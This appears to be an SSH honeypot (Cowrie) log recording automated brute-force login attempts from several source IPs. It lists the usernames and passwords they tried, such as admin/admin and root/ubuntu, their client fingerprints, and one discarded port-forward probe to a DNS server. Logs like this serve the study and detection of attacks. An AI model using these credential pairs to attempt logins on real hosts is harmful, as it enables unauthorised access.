{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:28.925433Z","src_ip":"165.227.170.113","session":"c3d26d1c2bff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:29.295147Z","src_ip":"165.227.170.113","session":"c3d26d1c2bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:29.379544Z","src_ip":"165.227.170.113","session":"cc943a00529c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:29.384067Z","src_ip":"165.227.170.113","session":"c3d26d1c2bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":56184,"dst_ip":"10.17.0.5","dst_port":22,"session":"57a07456978c","protocol":"ssh","message":"New connection: 189.46.1.73:56184 (10.17.0.5:22) [session: 57a07456978c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:31.071608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:31.076243Z","src_ip":"189.46.1.73","session":"57a07456978c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:31.229822Z","src_ip":"189.46.1.73","session":"57a07456978c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123!!","message":"login attempt [ubuntu/abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:31.923323Z","src_ip":"189.46.1.73","session":"57a07456978c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:59:33.122083Z","src_ip":"189.46.1.73","session":"57a07456978c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":52118,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cd6b73ae0df","protocol":"ssh","message":"New connection: 165.227.170.113:52118 (10.17.0.5:22) [session: 3cd6b73ae0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:14.218298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:14.226010Z","src_ip":"165.227.170.113","session":"3cd6b73ae0df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:14.313651Z","src_ip":"165.227.170.113","session":"3cd6b73ae0df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123qweasd","message":"login attempt [user/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:14.715761Z","src_ip":"165.227.170.113","session":"3cd6b73ae0df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:15.811424Z","src_ip":"165.227.170.113","session":"3cd6b73ae0df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":54815,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcb6f2c58dcb","protocol":"ssh","message":"New connection: 74.87.117.146:54815 (10.17.0.5:22) [session: bcb6f2c58dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:21.489772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:21.495356Z","src_ip":"74.87.117.146","session":"bcb6f2c58dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:21.521043Z","src_ip":"74.87.117.146","session":"bcb6f2c58dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bakuser","password":"bakuser","message":"login attempt [bakuser/bakuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:21.655529Z","src_ip":"74.87.117.146","session":"bcb6f2c58dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:22.684372Z","src_ip":"74.87.117.146","session":"bcb6f2c58dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58622,"dst_ip":"10.17.0.5","dst_port":22,"session":"7598eb9d62df","protocol":"ssh","message":"New connection: 103.15.226.202:58622 (10.17.0.5:22) [session: 7598eb9d62df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:59.957771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:00:59.962079Z","src_ip":"103.15.226.202","session":"7598eb9d62df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:01.653464Z","src_ip":"103.15.226.202","session":"7598eb9d62df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":58320,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d656fe1e19d","protocol":"ssh","message":"New connection: 120.48.0.142:58320 (159.203.135.109:22) [session: 9d656fe1e19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:02.266505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:02.271278Z","src_ip":"120.48.0.142","session":"9d656fe1e19d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:02.418778Z","src_ip":"103.15.226.202","session":"7598eb9d62df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":55792,"dst_ip":"10.17.0.5","dst_port":22,"session":"947a85b90ba1","protocol":"ssh","message":"New connection: 165.227.170.113:55792 (10.17.0.5:22) [session: 947a85b90ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:03.134819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:03.139336Z","src_ip":"165.227.170.113","session":"947a85b90ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:03.220112Z","src_ip":"165.227.170.113","session":"947a85b90ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"devel0p3r","message":"login attempt [developer/devel0p3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:03.571101Z","src_ip":"165.227.170.113","session":"947a85b90ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:03.668955Z","src_ip":"103.15.226.202","session":"7598eb9d62df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:04.232486Z","src_ip":"120.48.0.142","session":"9d656fe1e19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:04.655270Z","src_ip":"165.227.170.113","session":"947a85b90ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:05.016678Z","src_ip":"120.48.0.142","session":"9d656fe1e19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:06.267165Z","src_ip":"120.48.0.142","session":"9d656fe1e19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11772,"dst_ip":"10.17.0.5","dst_port":22,"session":"af23daa00732","protocol":"ssh","message":"New connection: 87.251.64.176:11772 (10.17.0.5:22) [session: af23daa00732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:06.348490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:06.353930Z","src_ip":"87.251.64.176","session":"af23daa00732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:06.450630Z","src_ip":"87.251.64.176","session":"af23daa00732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":33880,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed60273cacc2","protocol":"ssh","message":"New connection: 120.48.0.142:33880 (159.203.135.109:22) [session: ed60273cacc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:06.499686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:06.515229Z","src_ip":"120.48.0.142","session":"ed60273cacc2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:06.739678Z","src_ip":"87.251.64.176","session":"af23daa00732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:06.837851Z","session":"af23daa00732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:06.938629Z","src_ip":"87.251.64.176","session":"af23daa00732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:01:07.036701Z","src_ip":"87.251.64.176","session":"af23daa00732","protocol":"ssh"}
